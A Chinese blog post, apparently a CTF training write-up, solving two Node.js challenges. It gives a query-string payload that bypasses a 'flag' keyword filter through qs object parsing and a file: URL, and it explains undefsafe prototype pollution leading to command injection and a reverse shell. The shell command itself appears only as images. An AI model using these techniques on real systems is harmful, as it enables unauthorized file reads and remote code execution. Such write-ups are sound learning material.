寒假training-2

dawn_r1sing Lv3

寒假week2

simplewaf

flag在/app/flag.txt里

express 使用 qs npm 模块来提供 req.query.file (file 为查询字符串参数名) ,这意味着它可以与字符串以外的其他类型一起使用。

1
?file[1]=a

image-20240204134905505

path 仅限于 字符串、URL实例、Buffer实例,因为WAF过滤字符串flag不再考虑,重点放在两个实例上

image-20240204150315230

通过上边的测试,可以通过URL绕过flag过滤

问题在于它是如何判断是否是URL实例

源码调试分析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
// 导入 express fs 模块 
const express = require("express");
const fs = require("fs");

// 创建express应用
const app = express();

const PORT = process.env.PORT || 3456;

// 过滤字符串 flag
app.use((req, res, next) => {
if([req.body, req.headers, req.query].some(
(item) => item && JSON.stringify(item).includes("flag")
)) {
return res.send("bad hacker!");
}
next(); // 控制权传递给下一个处理器
});

app.get("/", (req, res) => {
try {
res.setHeader("Content-Type", "text/html");
res.send(fs.readFileSync(req.query.file || "index.html").toString());
// get 传入 file 值
// fs.readFileSync 读取文件并返回内容
}
catch(err) {
console.log(err);
res.status(500).send("Internal server error");
}
});

app.listen(PORT, () => console.log(`web/simplewaf listening on port ${PORT}`));

下第一个断点

image-20240204183413009

进入 readFileSync

重点关注 path

下一个断点下在 445 行,进入 openSync 函数

image-20240204183751688

再进入 syncFs.open

image-20240204183942167

1
path = getValidatedPath(path);	// 处理path

看看如何处理的

image-20240204184111776

功能如其名,判断是否是URL toPathIfFileURL,是 URL 返回 fileURLToPath

toPathIfFileURL

image-20240204184338062

isURL

image-20240204184434589

得到条件。

之后看一下URL路径的处理

fileURLToPath

image-20240204184911922

1
path.protocol == 'file:'

Linux 返回 getPathFromURLPosix

image-20240204185120503

1
2
url.hostname == ''
url.pathname 无 %2f
1
return decodeURIComponent(pathname);// 返回 pathname 的解码

条件汇总

1
2
3
4
5
6
7
8
.href 存在
.protocol 存在 == 'file:'
.auth == undefined
.path == undefined
.hostname === ' '
.pathname 不能包含URL编码后的 /
=> /app/flag.txt
绕过Waf 把flag中的某个字母两次编码(express + decodeURIComponent)
1
?file[href]=1&file[protocol]=file:&file[hostname]=&file[pathname]=/app/fl%2561g.txt

[网鼎杯 2020 青龙组]notes

原型链污染 + 反弹shell

源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
var express = require('express');
var path = require('path');
const undefsafe = require('undefsafe');
const { exec } = require('child_process');


var app = express();
class Notes {
constructor() {
this.owner = "whoknows";
this.num = 0;
this.note_list = {};
}

write_note(author, raw_note) {
this.note_list[(this.num++).toString()] = {"author": author,"raw_note":raw_note};
}

get_note(id) {
var r = {}
undefsafe(r, id, undefsafe(this.note_list, id));
return r;
}

edit_note(id, author, raw) {
undefsafe(this.note_list, id + '.author', author);
undefsafe(this.note_list, id + '.raw_note', raw);
}

get_all_notes() {
return this.note_list;
}

remove_note(id) {
delete this.note_list[id];
}
}

var notes = new Notes();
notes.write_note("nobody", "this is nobody's first note");


app.set('views', path.join(__dirname, 'views'));
app.set('view engine', 'pug');

app.use(express.json());
app.use(express.urlencoded({ extended: false }));
app.use(express.static(path.join(__dirname, 'public')));


app.get('/', function(req, res, next) {
res.render('index', { title: 'Notebook' });
});

app.route('/add_note')
.get(function(req, res) {
res.render('mess', {message: 'please use POST to add a note'});
})
.post(function(req, res) {
let author = req.body.author;
let raw = req.body.raw;
if (author && raw) {
notes.write_note(author, raw);
res.render('mess', {message: "add note sucess"});
} else {
res.render('mess', {message: "did not add note"});
}
})

app.route('/edit_note')
.get(function(req, res) {
res.render('mess', {message: "please use POST to edit a note"});
})
.post(function(req, res) {
let id = req.body.id;
let author = req.body.author;
let enote = req.body.raw;
if (id && author && enote) {
notes.edit_note(id, author, enote);
res.render('mess', {message: "edit note sucess"});
} else {
res.render('mess', {message: "edit note failed"});
}
})

app.route('/delete_note')
.get(function(req, res) {
res.render('mess', {message: "please use POST to delete a note"});
})
.post(function(req, res) {
let id = req.body.id;
if (id) {
notes.remove_note(id);
res.render('mess', {message: "delete done"});
} else {
res.render('mess', {message: "delete failed"});
}
})

app.route('/notes')
.get(function(req, res) {
let q = req.query.q;
let a_note;
if (typeof(q) === "undefined") {
a_note = notes.get_all_notes();
} else {
a_note = notes.get_note(q);
}
res.render('note', {list: a_note});
})

app.route('/status')
.get(function(req, res) {
let commands = {
"script-1": "uptime",
"script-2": "free -m"
};
for (let index in commands) {
exec(commands[index], {shell:'/bin/bash'}, (err, stdout, stderr) => {
if (err) {
return;
}
console.log(`stdout: ${stdout}`);
});
}
res.send('OK');
res.end();
})


app.use(function(req, res, next) {
res.status(404).send('Sorry cant find that!');
});


app.use(function(err, req, res, next) {
console.error(err.stack);
res.status(500).send('Something broke!');
});


const port = 8080;
app.listen(port, () => console.log(`Example app listening at http://localhost:${port}`))
  • undefsafe 原型链污染

    当函数的后两个参数可控时,可以通过原型链污染上层对象的值

    commandsnote_list 继承自同一个原型,通过 edit_note 路由污染原型

  • /status 路由中的 for (let index in commands) 不只是遍历 command 表,还会回溯遍历原型链上的属性 ,从而可以利用 undefsafe 原型链污染反弹shell

反弹 shell 搞了好久。。

最终妥协开了个云服务器,闪开闪关,只要速度够快就能白嫖耶耶

image-20240214154150020

提前监听

image-20240214154836734

image-20240206122759588

flag{fc5dd85d-2c16-4e8f-99cd-d555f32e3cbb}

image-20240214153315368

  • Title: 寒假training-2
  • Author: dawn_r1sing
  • Created at : 2024-04-07 11:08:44
  • Updated at : 2024-04-07 11:09:09
  • Link: https://dawnrisingdong.github.io/2024/04/07/寒假training-2/
  • License: This work is licensed under CC BY-NC-SA 4.0.